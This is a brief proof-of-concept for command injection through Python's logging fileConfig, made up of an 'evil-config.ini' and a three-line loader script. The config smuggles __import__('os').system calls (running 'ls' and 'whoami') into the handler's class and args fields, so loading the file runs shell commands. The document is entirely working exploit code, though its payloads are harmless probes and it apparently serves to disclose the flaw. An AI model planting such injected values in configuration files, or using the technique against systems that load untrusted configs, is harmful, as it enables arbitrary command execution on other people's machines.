Proof-of-Concept for logging Python code injection

evil-config.ini

[loggers]
keys=root

[handlers]
keys=stream_handler

[formatters]
keys=formatter

[logger_root]
level=DEBUG
handlers=stream_handler

[handler_stream_handler]
class=__import__('os').system('ls') or StreamHandler
level=DEBUG
formatter=formatter
args=(__import__('os').system('whoami') or sys.stderr, )

[formatter_formatter]
format=%(name)-12s %(levelname)-8s %(message)s

poc-python-logging.py

from logging.config import fileConfig

# trigger the vulnerability
fileConfig("evil-config.ini")